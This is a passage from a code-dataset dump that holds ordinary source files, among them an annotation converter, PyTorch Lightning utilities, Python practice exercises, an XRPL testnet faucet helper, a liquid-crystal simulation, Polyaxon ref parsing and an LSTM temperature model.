backtest\n\npnl = stat.calculate_PnL() # Retrieving the PnL of the backtest.\nnum_positions = stat.calculate_number_of_trades(\n) # Retrieving the number of trades made throughtout the backtest.\nprint(\"pnl=%f, num_positions=%d\" % (pnl, num_positions))\n\nstat.backtest_results() # Displaying the backtest statistics\n","sub_path":"tradingene/examples/svm.py","file_name":"svm.py","file_ext":"py","file_size_in_byte":3150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"145639099","text":"from PIL import Image\r\nimport os\r\n\r\ndef convert(image_width, image_height, params, classes):\r\n\tfor i in range(len(params) - 1):\r\n\t\tparams[i] = int(params[i])\r\n\t\r\n\tbounding_box_width = params[2] - params[0]\r\n\tbounding_box_height = params[3] - params[1]\r\n\tparams[0] += bounding_box_width/2\r\n\tparams[0] /= image_width\r\n\tparams[1] += bounding_box_height/2\r\n\tparams[1] /= image_height\r\n\t\r\n\tparams[2] = bounding_box_width\r\n\tparams[2] /= image_width\r\n\tparams[3] = bounding_box_height\r\n\tparams[3] /= image_height\r\n\tparams[4] = classes.index(params[4])\r\n\tparams.insert(0, params.pop())\r\n\treturn params\r\n\r\nimage_dir = 'Images/002/'\r\nbbox_annotation_path = 'Labels/002/'\r\noutput_new_annotation_path = 'Converted_Labels/002/'\r\nclasses = ['bee']\r\n\r\nimages_path = os.listdir(image_dir)\r\nannotations_path = os.listdir(bbox_annotation_path)\r\n\r\nimage_names = [x.split('.')[0] for x in annotations_path]\r\n\r\nfor image in image_names:\r\n\twith open(bbox_annotation_path + image + '.txt') as f:\r\n\t\tlines = f.readlines()\r\n\t\r\n\tcleaned_lines = [l.split('\\n')[0] for l in lines]\r\n\r\n\tnum_objects = int(cleaned_lines[0])\r\n\r\n\tim = Image.open(image_dir + image + '.jpg')\r\n\timage_width, image_height = im.size\r\n\tprint(image_width, image_height)\r\n\tconverted_params = []\r\n\tfor i in range(1, len(cleaned_lines)):\r\n\t\tconverted_params.append(convert(image_width, image_height, cleaned_lines[i].split(' '), classes))\r\n\tprint(num_objects)\r\n\tprint(converted_params)\r\n\twith open(output_new_annotation_path + image + '.txt', 'w') as w:\r\n\t\tcontent = ''\r\n\t\tfor param in converted_params:\r\n\t\t\tcontent += \" \".join([str(p) for p in param])\r\n\t\t\tcontent += '\\n'\r\n\t\tw.write(content)\r\n","sub_path":"main/yolo_annotations.py","file_name":"yolo_annotations.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"653192760","text":"# Copyright The PyTorch Lightning team.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport itertools\nfrom typing import Any\n\nimport torch\nfrom torch.nn.parallel import DistributedDataParallel\n\nfrom pytorch_lightning.core.lightning import LightningModule\nfrom pytorch_lightning.overrides.base import _LightningModuleWrapperBase\n\n\nclass LightningDistributedModule(_LightningModuleWrapperBase):\n\n def __init__(self, pl_module: LightningModule):\n \"\"\"\n Wraps the user's LightningModule and redirects the forward call to the appropriate\n method, either ``training_step``, ``validation_step``, ``test_step`` or ``predict``.\n This class is used in combination with :class:`~torch.nn.parallel.DistributedDataParallel` as\n shown in the example.\n\n Example:\n\n ddp_model = torch.nn.parallel.DistributedDataParallel(\n module=LightningDistributedModule(lightning_module),\n device_ids=[local_rank],\n ...\n )\n\n Args:\n pl_module: the model to wrap\n\n \"\"\"\n super().__init__(pl_module)\n\n\ndef _find_tensors(obj): # pragma: no-cover\n r\"\"\"\n Recursively find all tensors contained in the specified object.\n \"\"\"\n if isinstance(obj, torch.Tensor):\n return [obj]\n if isinstance(obj, (list, tuple)):\n return itertools.chain(*map(_find_tensors, obj))\n if isinstance(obj, dict):\n return itertools.chain(*map(_find_tensors, obj.values()))\n return []\n\n\n# In manual_optimization, we need to call reducer prepare_for_backward.\n# Note: Keep track of Pytorch DDP and update if there is a change\n# https://github.com/pytorch/pytorch/blob/v1.7.1/torch/nn/parallel/distributed.py#L626-L638\ndef prepare_for_backward(model: DistributedDataParallel, output: Any):\n if torch.is_grad_enabled() and model.require_backward_grad_sync:\n model.require_forward_param_sync = True\n # We'll return the output object verbatim since it is a freeform\n # object. We need to find any tensors in this object, though,\n # because we need to figure out which parameters were used during\n # this forward pass, to ensure we short circuit reduction for any\n # unused parameters. Only if `find_unused_parameters` is set.\n if model.find_unused_parameters:\n model.reducer.prepare_for_backward(list(_find_tensors(output)))\n else:\n model.reducer.prepare_for_backward([])\n else:\n model.require_forward_param_sync = False\n","sub_path":"pytorch_lightning/overrides/distributed.py","file_name":"distributed.py","file_ext":"py","file_size_in_byte":3028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"225651528","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Nov 26 07:32:33 2019\r\n\r\n@author: Administrator\r\n\"\"\"\r\n\"\"\" 여러개의 입력값을 받는 함수 만들기 \"\"\"\r\ndef add_many(*args):\r\n result = 0\r\n for i in args:\r\n result += i\r\n return result\r\n\r\n\r\nprint(add_many(1,2,3,4,5,6,7,8,))\r\n\r\ndef add_mul(choice, *args):\r\n if choice == 'add' :\r\n result = 0\r\n for i in args:\r\n result += i\r\n elif choice == 'mul' :\r\n result = 1\r\n for i in args:\r\n result *= i\r\n return result\r\n\r\nresult = add_mul('add', 1,2,3,4,5)\r\nprint(result)\r\n\r\nresult = add_mul('mul', 1,2,3,4,5)\r\nprint(result)\r\n\r\n\"\"\" 키워드 파라미터 kwargs : 값을 딕셔너리로 만들어서 출력 \"\"\"\r\ndef print_kwargs(**kwargs):\r\n print(kwargs)\r\n\r\nprint_kwargs(a=1,name='foo', age=3)\r\n\r\ndef add_and_mul(a,b):\r\n return a+b, a*b\r\n\r\nprint(add_and_mul(3,4))\r\nresult1, result2 = add_and_mul(3,4)\r\nprint(result1, result2)\r\n\r\n\"\"\" return : 함수빠져나가기 \"\"\"\r\ndef say_nick(nick):\r\n if nick == '바보':\r\n return\r\n print('나의 별명은 %s 입니다.' % nick )\r\n\r\nsay_nick('야호')\r\nsay_nick('바보')\r\n\r\ndef say_myself(name, old, man=True): \r\n print(\"나의 이름은 %s 입니다.\" % name) \r\n print(\"나이는 %d살입니다.\" % old) \r\n if man: \r\n print(\"남자입니다.\")\r\n else: \r\n print(\"여자입니다.\")\r\n \r\nsay_myself(\"박응용\", 27)\r\nsay_myself(\"박응용\", 27, True)\r\nsay_myself(\"박응선\", 27, False)\r\n\r\n#a = 1\r\ndef vartest(a):\r\n a = a +1\r\n# return a\r\nvartest(a)\r\nprint(vartest(4))\r\n\r\ndef vartest(b):\r\n b = b + 1\r\n\r\nvartest(3)\r\nprint(b)\r\n\r\n\r\n\"\"\" 함수 안에서 함수 밖의 변수를 변경하는 방법 - return \"\"\"\r\na = 1\r\ndef vartest(a):\r\n a += 1\r\n return a\r\n\r\na = vartest(a)\r\nprint(a)\r\n\"\"\" 함수 안에서 함수 밖의 변수를 변경하는 방법 - 글로별 변수 \"\"\"\r\na = 1\r\ndef vartest():\r\n global a\r\n a += 1\r\n \r\nvartest()\r\nprint(a)\r\n\r\n# 연습문제\r\n''' Q3 '''\r\ninput1 = int(input(\"첫번째 숫자를 입력하세요:\"))\r\ninput2 = int(input(\"두번째 숫자를 입력하세요:\"))\r\n\r\ntotal = input1 + input2\r\nprint(\"두수의 합은 %s 입니다.\" % total)\r\n\r\n''' Q4 '''\r\nprint(\"\".join([\"you\", \"need\", \"python\"]))\r\nprint(\"you\", \"need\", \"python\")\r\n\r\n''' Q5 '''\r\nf1 = open(\"test.txt\", 'w')\r\nf1.write(\"Life is too short\")\r\nf1.close()\r\nf2 = open(\"test.txt\", 'r')\r\nprint(f2.read())\r\nf2.close()\r\n\r\nwith open('test.txt', 'w') as f1:\r\n f1.write('Life is too short')\r\n\r\n''' \r\nQ6: 사용자의 입력을 test.txt에 저장 \r\n'''\r\na = input()\r\nwith open('test.txt', 'w') as f1:\r\n f1.write(a)\r\nwith open('test.txt', 'r') as f1:\r\n print(f1.read())\r\n \r\n\r\n'''\r\nQ7 : java 를 python으로 바꿔서 파일에 입력\r\n'''\r\nwith open('test.txt','w') as f:\r\n f.write('Life is too short\\n')\r\nwith open('test.txt','a') as f:\r\n f.write('you need java')\r\nwith open('test.txt','r') as f:\r\n body = f.read()\r\nbody = body.replace('java','python')\r\nwith open('test.txt','w') as f:\r\n f.write(body)\r\nwith open('test.txt', 'r') as f:\r\n print(f.read())","sub_path":"jump_python_4.function2.py","file_name":"jump_python_4.function2.py","file_ext":"py","file_size_in_byte":3085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"139506784","text":"\"\"\"Handles wallet generation from a faucet.\"\"\"\n\nfrom time import sleep\nfrom typing import Optional\n\nfrom requests import post\n\nfrom xrpl.account import get_balance, get_next_valid_seq_number\nfrom xrpl.clients import Client, XRPLRequestFailureException\nfrom xrpl.constants import XRPLException\nfrom xrpl.wallet.main import Wallet\n\n_TEST_FAUCET_URL = \"https://faucet.altnet.rippletest.net/accounts\"\n_DEV_FAUCET_URL = \"https://faucet.devnet.rippletest.net/accounts\"\n\n_TIMEOUT_SECONDS = 40\n_LEDGER_CLOSE_TIME = 4\n\n\nclass XRPLFaucetException(XRPLException):\n \"\"\"Faucet generation exception.\"\"\"\n\n pass\n\n\ndef generate_faucet_wallet(client: Client, debug: bool = False) -> Wallet:\n \"\"\"\n Generates a random wallet and funds it using the XRPL Testnet Faucet.\n\n Args:\n client: the network client used to make network calls.\n debug: Whether to print debug information as it creates the wallet.\n\n Returns:\n A Wallet on the testnet that contains some amount of XRP.\n\n Raises:\n XRPLFaucetException: if an address could not be funded with the faucet.\n XRPLRequestFailureException: if a request to the ledger fails.\n requests.exceptions.HTTPError: if the request to the faucet fails.\n\n .. # noqa: DAR402 exception raised in private method\n \"\"\"\n if \"dev\" in client.url: # devnet\n faucet_url = _DEV_FAUCET_URL\n elif \"altnet\" in client.url or \"test\" in client.url: # testnet\n faucet_url = _TEST_FAUCET_URL\n else:\n raise XRPLFaucetException(\n \"Cannot fund an account with a client that is not on the testnet or devnet.\"\n )\n wallet = Wallet.create()\n\n address = wallet.classic_address\n # The faucet *can* be flakey... by printing info about this it's easier to\n # understand if tests are actually failing, or if it was just a faucet failure.\n if debug:\n print(\"Attempting to fund address {}\".format(address))\n # Balance prior to asking for more funds\n starting_balance = _check_wallet_balance(address, client)\n\n # Ask the faucet to send funds to the given address\n response = post(url=faucet_url, json={\"destination\": address})\n if not response.ok:\n response.raise_for_status()\n # Wait for the faucet to fund our account or until timeout\n # Waits one second checks if balance has changed\n # If balance doesn't change it will attempt again until _TIMEOUT_SECONDS\n is_funded = False\n for _ in range(_TIMEOUT_SECONDS):\n sleep(1)\n if not is_funded: # faucet transaction hasn't been validated yet\n current_balance = _check_wallet_balance(address, client)\n # If our current balance has changed, then the account has been funded\n if current_balance > starting_balance:\n if debug:\n print(\"Faucet fund successful.\")\n is_funded = True\n else: # wallet has been funded, now the ledger needs to know the account exists\n next_seq_num = _try_to_get_next_seq(address, client)\n if next_seq_num is not None:\n wallet.next_sequence_num = next_seq_num\n return wallet\n\n raise XRPLFaucetException(\n \"Unable to fund address with faucet after waiting {} seconds\".format(\n _TIMEOUT_SECONDS\n )\n )\n\n\ndef _check_wallet_balance(address: str, client: Client) -> int:\n try:\n return get_balance(address, client)\n except XRPLRequestFailureException as e:\n if e.error == \"actNotFound\": # transaction has not gone through\n return 0\n else: # some other error\n raise\n\n\ndef _try_to_get_next_seq(address: str, client: Client) -> Optional[int]:\n try:\n return get_next_valid_seq_number(address, client)\n except XRPLRequestFailureException as e:\n if e.error == \"actNotFound\":\n # faucet gen has not fully gone through, try again\n return None\n else: # some other error\n raise\n","sub_path":"xrpl/wallet/wallet_generation.py","file_name":"wallet_generation.py","file_ext":"py","file_size_in_byte":3987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"446337826","text":"# Binary Tree Right Side View\n\n\"\"\"\nGiven a binary tree, imagine yourself standing on the right side of it, return the values of the nodes you can see ordered from top to bottom.\n\nExample:\n\nInput: [1,2,3,null,5,null,4]\nOutput: [1, 3, 4]\nExplanation:\n 1 <---\n / \\\n2 3 <---\n \\ \\\n 5 4 <---\n\"\"\"\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def rightSideView(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: List[int]\n \"\"\"\n if not root:\n return []\n res = []\n que = [root]\n next_level = [root]\n node_cnt = 1\n while node_cnt:\n res.append(next_level[-1].val)\n next_level = []\n for _ in range(node_cnt):\n node = que.pop(0)\n if node.left:\n next_level.append(node.left)\n if node.right:\n next_level.append(node.right)\n node_cnt = len(next_level)\n que += next_level\n return res\n","sub_path":"199.py","file_name":"199.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"32472090","text":"import os\n\n\nimport numpy as np\nimport sys\nimport matplotlib.pyplot as plt \nfrom tqdm import tqdm\nfrom plt_quiver import quiver3D, load, quiver2D\nimport pandas as pd\nfrom helper import *\nfrom animate import render_anim\n\nclass LC(object):\n \"\"\"\n field - tensor (n, m, l, 3) represent LC grid\n gamma - update rate\n dr - [dx, dy, dz] of the grid\n K - Energy term\n E - tensor (n, m, l, 3) represent E field\n q0 - chirality of the LC\n E0, dE - electric field interaction term\n \"\"\"\n def __init__(self, field_init, gamma ,dr, K, E, q0, E0 = 8.9e-12, dE = 3.7, dt = None):\n self.field = self.boundary_condition(field_init)\n self.gamma = gamma\n self.dr = dr\n self.dV = self.dr**3\n [self.K11, self.K22, self.K33] = K\n self.E = E\n self.q0 = q0\n self.E0 = E0\n self.dE = dE\n self.normalize()\n self.t = 0\n self.dt = dt if dt else self.gamma * self.dr**2 / (2 * self.K33) /5\n print('dt:', self.dt)\n\n print(\"Initiate model\")\n \n \"\"\"\n Assign Boundary Condition to the system\n \"\"\"\n def boundary_condition(self, field):\n \n field[0,:,:] = field[-2,:,:]\n field[-1,:,:] = field[1,:,:]\n\n field[:,0,:] = field[:,-2,:]\n field[:,-1,:] = field[:,1,:]\n\n field[:,:,0] = np.array([0,0,1])\n field[:,:,-1] = np.array([0,0,1])\n\n return field\n\n def boundary_derivative(self, field):\n \n field[0,:,:] = field[-2,:,:]\n field[-1,:,:] = field[1,:,:]\n\n field[:,0,:] = field[:,-2,:]\n field[:,-1,:] = field[:,1,:]\n\n field[:,:,0] = 0\n field[:,:,-1] = 0\n\n return field\n\n \"\"\"\n Calculate jacobian fo the field \n \"\"\"\n def gradient(self, field):\n grads = np.zeros(field.shape + (3,))\n grads[1:-1,1:-1,1:-1, 0] = (field[2:,1:-1,1:-1] - field[:-2,1:-1,1:-1])/self.dr/2\n grads[1:-1,1:-1,1:-1, 1] = (field[1:-1,2:,1:-1] - field[1:-1,:-2,1:-1])/self.dr/2\n grads[1:-1,1:-1,1:-1, 2] = (field[1:-1,1:-1,2:] - field[1:-1,1:-1,:-2])/self.dr/2\n return grads\n\n\n def laplacian(self, field):\n laplace = np.zeros(field.shape)\n laplace[1:-1,1:-1,1:-1] = -6 * field[1:-1, 1:-1, 1:-1] \\\n + field[2:, 1:-1, 1:-1] + field[:-2, 1:-1, 1:-1] \\\n + field[1:-1, 2:, 1:-1] + field[1:-1, :-2, 1:-1] \\\n + field[1:-1, 1:-1, 2:] + field[1:-1, 1:-1, :-2] \n\n\n return laplace/dr**2\n\n def dot_del(self, field1, field2):\n result = np.zeros(field1.shape)\n result += mult(field1[1:-1,1:-1,1:-1, 0], (field2[2:,1:-1,1:-1] - field2[:-2,1:-1,1:-1])/self.dr/2)\n result += mult(field1[1:-1,1:-1,1:-1, 1], (field[1:-1,2:,1:-1] - field[1:-1,:-2,1:-1])/self.dr/2)\n result += mult(field1[1:-1,1:-1,1:-1, 2], (field[1:-1,1:-1,2:] - field[1:-1,1:-1,:-2])/self.dr/2)\n return result\n\n def W(self):\n gradient_mat = self.gradient(self.field)\n curl_term = curl(gradient_mat)\n\n return np.mean(1 * self.K11/2 * div(gradient_mat)**2 \\\n + 1 * self.K22/2 * (dot(field, curl_term) + self.q0)**2 \\\n + 1 * self.K33/2 * norm_square(cross(field, curl_term)) \\\n - 1 * self.E0 * self.dE/2 * dot(self.E, field)**2)\n\n \"\"\"\n Calculate the functional derivative\n \"\"\"\n\n def variational(self, field):\n gradient_mat = self.gradient(field)\n gradient_mat = self.boundary_derivative(gradient_mat)\n \"\"\"\n Divergence term\n - K11 * grad(div(n))\n \"\"\"\n\n div_force = - self.gradient(div(gradient_mat))\n\n \"\"\"\n Twisted Term calculation\n K22 [(2 n . curl (n) + q0)(curl n) - n x grad(n . curl(n)) ]\n \"\"\"\n curl_term = curl(gradient_mat)\n dot_curl_term = dot(field, curl_term) \n zeroth_twisted_term = mult(dot_curl_term + self.q0, curl_term)\n grad_dot_curl_term = cross(field, self.gradient(dot_curl_term))\n twist_force = 2 * zeroth_twisted_term - grad_dot_curl_term\n \"\"\"\n Curve Calculation\n \"\"\"\n # anti_sym_grad[x,y,z][j,i] = d f_j /dx_i - d f_i /dx_j\n anti_sym_grad = gradient_mat - np.transpose(gradient_mat, [0,1,2,4,3])\n anti_field = np.einsum('pi,xyzl->xyzlpi',DELTA, field)\n anti_field = anti_field - np.transpose(anti_field, [0,1,2,4,3,5])\n cross_curl = cross(field, curl_term)\n twist_zeroth_term = np.einsum('xyzi,xyzij->xyzj',cross_curl, anti_sym_grad)\n grad_curve_momentum_term = np.einsum('xyzi,xyzlpi->xyzpl', cross_curl, anti_field)\n grad_curve_momentum_term = self.gradient(grad_curve_momentum_term)\n grad_curve_momentum_term = np.einsum('xyziij->xyzj',grad_curve_momentum_term)\n cross_force = twist_zeroth_term - grad_curve_momentum_term\n\n # momentum_term = np.einsum('xyziij->xyzj', 1 * self.K22 * grad_dot_curl_term + 1 *self.K33 * grad_curve_momentum_term)\n div_term = self.K11 * div_force\n\n twist_term = self.K22 * twist_force\n cross_term = self.K33 * cross_force\n\n \"\"\"\n Electric Field Term\n \"\"\"\n E_field_term = -self.E0 * self.dE * mult(dot(self.E, field), self.E)\n \n return div_term + twist_term + cross_term + E_field_term \n \"\"\"\n apply the gradient\n \"\"\"\n def update(self):\n grads = self.variational(self.field)\n self.field -= 1/self.gamma * grads * self.dt\n self.normalize()\n self.field = self.boundary_condition(self.field)\n self.t += self.dt\n return grads\n \"\"\"\n keep the LC length\n \"\"\"\n def normalize(self):\n length = norm_square(self.field)**0.5\n length = np.reshape(length, length.shape + (1,))\n self.field = self.field / length\n \n \"\"\"\n plot the result\n \"\"\"\n def render(self, save = None, plot = False):\n quiver3D(self.convert_data(), save, plot)\n\n \"\"\"\n project the field\n \"\"\"\n def slice(self, axis, scale = [3, 3]):\n mid = int(self.field.shape[axis]/2)\n ax1 = (axis + 1)%3\n ax2 = (axis + 2)%3\n ax1, ax2 = min(ax1, ax2), max(ax1, ax2)\n x, y = np.meshgrid(np.arange(0, self.field.shape[ax1], scale[0]),np.arange(0, self.field.shape[ax2], scale[1]))\n x = x.T\n y = y.T\n if axis == 0:\n xy_prog = self.field[mid,::scale[0],::scale[1]]\n elif axis ==1:\n xy_prog = self.field[::scale[0],mid,::scale[1]]\n else:\n xy_prog = self.field[::scale[0],::scale[1],mid]\n u = xy_prog[:,:, ax1]\n v = xy_prog[:,:, ax2]\n x, y, u, v = x.flatten(), y.flatten(), u.flatten(), v.flatten()\n time = np.ones(x.shape) * self.t\n data = np.stack([time, x, y, u, v], -1)\n return data\n \n\n\n def animate_evolution(self, num_step, save = None):\n tracex = [self.slice(axis = 0, scale = [3,1])]\n tracey = [self.slice(axis = 1, scale = [3,1])]\n tracez = [self.slice(axis =2)]\n iterator = tqdm(range(num_step))\n step = num_step//50\n for t in iterator:\n if self.dt < 0.1 :\n for _ in range(0, int(0.1/self.dt)):\n grads = self.update()\n else:\n grads = self.update()\n tracex.append(self.slice(axis = 0, scale = [3,1]))\n tracey.append(self.slice(axis = 1, scale = [3,1]))\n tracez.append(self.slice(axis =2))\n if t%step == 0:\n print('W:', self.W())\n self.i = 0\n def updatex():\n new_frame = tracex[self.i%num_step]\n self.i += 1\n # print(int(self.t/self.dt)%num_step)\n return new_frame\n def updatey():\n new_frame = tracey[self.i%num_step]\n self.i+= 1\n # print(int(self.t/self.dt)%num_step)\n return new_frame\n def updatez():\n new_frame = tracez[self.i%num_step]\n self.i += 1\n # print(int(self.t/self.dt)%num_step)\n return new_frame\n savex = None\n savey = None\n savez = None\n if save:\n savex = save + 'yz.mp4'\n savey = save + 'xz.mp4'\n savez = save + 'xy.mp4'\n render_anim(tracex[0], updatex, savex, show = False, num = num_step - 2, dt = self.dt)\n self.i = 0\n render_anim(tracey[0], updatey, savey, show = False, num = num_step - 2, dt = self.dt)\n self.i = 0\n render_anim(tracez[0], updatez, savez, show = False, num = num_step - 2, dt = self.dt)\n\n\n \n\"\"\"\ntime evolution\n\"\"\"\n\ndef random_field(size):\n theta = np.random.uniform(size = size) * 2 * np.pi \n phi = np.random.uniform(size = size) * np.pi \n field_z = np.cos(phi)\n field_x = np.sin(phi) * np.cos(theta) \n field_y = np.sin(phi) * np.sin(theta) \n field = np.stack([field_x, field_y, field_z], axis = -1)\n return field\n\n\n\nif __name__ == '__main__':\n \"\"\"\n define parameter here\n \"\"\"\n pitch = 10e-6\n size = [112, 112, 32]\n q0 = 2*np.pi/ pitch * 0 \n dr = pitch / 32\n # K = [17.2e-12, 7.51e-12, 17.9e-12]\n K = [17.9e-12, 17.9e-12, 17.9e-12]\n gamma = 162\n field = random_field(size)\n E = np.zeros(field.shape)\n dt = None\n\n\n model = LC(field, gamma = gamma, E = E, dr = dr, K = K, q0 = q0, dt = dt)\n model.animate_evolution(500, save = './fig/noq0_')\n sys.stdout.write('\\a')\n sys.stdout.flush()\n\n\n\n\n\n\n\n\n","sub_path":"relaxation_2.py","file_name":"relaxation_2.py","file_ext":"py","file_size_in_byte":9425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"503142346","text":"#!/usr/bin/python\n#\n# Copyright 2018-2022 Polyaxon, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport uuid\n\nfrom typing import Optional\n\nfrom marshmallow import ValidationError\n\nfrom polyaxon.contexts.params import PARAM_REGEX\n\nOPS = \"ops\"\nRUNS = \"runs\"\nDAG = \"dag\"\nDAG_ENTITY_REF = \"_\"\nENTITIES = {OPS, RUNS}\n\nENTITY_REF_FORMAT = \"{}.{}\"\n\n\ndef is_runs_ref(ref: str) -> bool:\n return ref.split(\".\")[0] == RUNS\n\n\ndef is_ops_ref(ref: str) -> bool:\n return ref.split(\".\")[0] == OPS\n\n\ndef is_dag_ref(ref: str) -> bool:\n return ref.split(\".\")[0] == DAG\n\n\ndef get_entity_ref(ref: str) -> Optional[str]:\n if is_ops_ref(ref) or is_runs_ref(ref):\n return ref.split(\".\")[1]\n if is_dag_ref(ref):\n return DAG_ENTITY_REF\n return None\n\n\ndef get_entity_type(value: str) -> str:\n value_parts = PARAM_REGEX.search(value)\n if value_parts:\n value_parts = value_parts.group(1).strip()\n else:\n value_parts = value\n\n return value_parts.split(\".\")[0]\n\n\ndef get_entity_value(value: str) -> str:\n value_parts = PARAM_REGEX.search(value)\n if value_parts:\n value_parts = value_parts.group(1).strip()\n else:\n value_parts = value\n\n value_parts = value_parts.split(\".\")\n if len(value_parts) < 2:\n return None\n return value_parts[-1]\n\n\ndef parse_ref_value(value: str) -> str:\n \"\"\"Returns value without {{ }}\"\"\"\n value_parts = PARAM_REGEX.search(value)\n if value_parts:\n return value_parts.group(1).strip()\n return value\n\n\nclass RefMixin:\n @property\n def is_literal(self):\n return not self.ref\n\n @property\n def is_ref(self):\n return self.ref is not None\n\n @property\n def is_template_ref(self):\n try:\n value_parts = PARAM_REGEX.search(self.value)\n if value_parts:\n return True\n except Exception: # noqa\n pass\n return False\n\n @property\n def is_runs_ref(self):\n if not self.is_ref:\n return False\n\n return is_runs_ref(self.ref)\n\n @property\n def is_ops_ref(self):\n if not self.is_ref:\n return False\n\n return is_ops_ref(self.ref)\n\n @property\n def is_dag_ref(self):\n if not self.is_ref:\n return False\n\n return is_dag_ref(self.ref)\n\n @property\n def is_join_ref(self):\n return False\n\n @property\n def entity_ref(self) -> Optional[str]:\n return get_entity_ref(self.ref)\n\n\ndef validate_ref(ref: str, name: str):\n # validate ref\n ref_parts = ref.split(\".\")\n if len(ref_parts) > 2:\n raise ValidationError(\n \"Could not parse ref `{}` for param `{}`.\".format(ref, name)\n )\n if len(ref_parts) == 1 and ref_parts[0] != DAG:\n raise ValidationError(\n \"Could not parse ref `{}` for param `{}`.\".format(ref_parts[0], name)\n )\n if len(ref_parts) == 2 and ref_parts[0] not in ENTITIES:\n raise ValidationError(\n \"Could not parse ref `{}` for param `{}`. \"\n \"Operation ref must be one of `{}`\".format(ref_parts[0], name, ENTITIES)\n )\n if ref_parts[0] == RUNS:\n try:\n uuid.UUID(ref_parts[1])\n except (KeyError, ValueError):\n raise ValidationError(\n \"Param value `{}` should reference a valid run uuid.\".format(\n ref_parts[1]\n )\n )\n","sub_path":"core/polyaxon/contexts/refs.py","file_name":"refs.py","file_ext":"py","file_size_in_byte":3918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"399640075","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 29 05:39:47 2020\n\n@author: suman\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n#\n#\n#\ndf = pd.read_csv(\"weather_cleaned.csv\", index_col = 0)\ndf = df[[\" _tempm\", \"temp\"]]\n\nstep = 360\ndf1 = df[step:].copy()\nfor i in range(step):\n df1[\"temp_\"+str(i)] = df.loc[i:len(df1)+i-1,\" _tempm\"].values\n \ndel df\ndf1.drop([\" _tempm\"], axis=1, inplace=True)\ndf1.dropna(inplace=True)\n\ndf1.to_csv(\"Weather_final_1.csv\" )\n\ndf1 = pd.read_csv(\"Weather_final_1.csv\", index_col = 0, nrows = 50000)\n\n\ny = df1[\"temp\"].values\ndf1.drop([\"temp\"], axis=1, inplace=True)\nX = np.reshape(df1.values, (df1.values.shape[0], df1.values.shape[1], 1)) \n\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.3, random_state = 0)\n\ndel df1\n\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom keras.layers import Dropout\n\n# Initialising the R\nregressor = Sequential()\n\n# Adding the first LSTM layer and some Dropout regularisation\nregressor.add(LSTM(units = 50, return_sequences = True, input_shape = (X_train.shape[1], 1)))\nregressor.add(Dropout(0.2))\n\nregressor.add(LSTM(units = 50))\nregressor.add(Dropout(0.2))\n\n# Adding the output layer\nregressor.add(Dense(units = 1))\n\n# Compiling the RNN\nregressor.compile(optimizer = 'adam', loss = 'mean_squared_error')\n\n# Fitting the RNN to the Training set\nregressor.fit(X_train, y_train, epochs = 75, batch_size = 64)\n\npredicted_temp = regressor.predict(X_test)\n\nfrom sklearn.metrics import mean_squared_error \nprint (\"The mean squared error is: \" + str(mean_squared_error(y_test, predicted_temp)))\n\nplt.plot(y_test, color = 'red', label = 'Real temp')\nplt.plot(predicted_temp, color = 'blue', label = 'Predicted temp')\nplt.title('Delhi temperature prediction')\nplt.xlabel('day')\nplt.ylabel(\"temperature\")\nplt.legend()\nplt.show()\n\nimport keras.models\nregressor.save(\"model1.h5\")\n","sub_path":"Question1/main1.py","file_name":"main1.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"472296422","text":"\"\"\"\nCopyright [2009-2017] EMBL-European Bioinformatics Institute\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n http://www.apache.org/licenses/LICENSE-2.0\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nimport os\nimport subprocess\n\nfrom collections import defaultdict\n\nfrom portal.management.commands.ftp_exporters.ftp_base import FtpBase\nfrom portal.management.commands.common_exporters.database_connection import cursor\nfrom portal.utils import so_terms\n\n\"\"\"\nExport RNAcentral species-specific ids in GPI format.\nThe data are used for validation purposes in Protein2GO.\n\nUsage:\npython manage.py ftp_export -f gpi -d /path/to/destination\n\nTo run in test mode:\npython manage.py 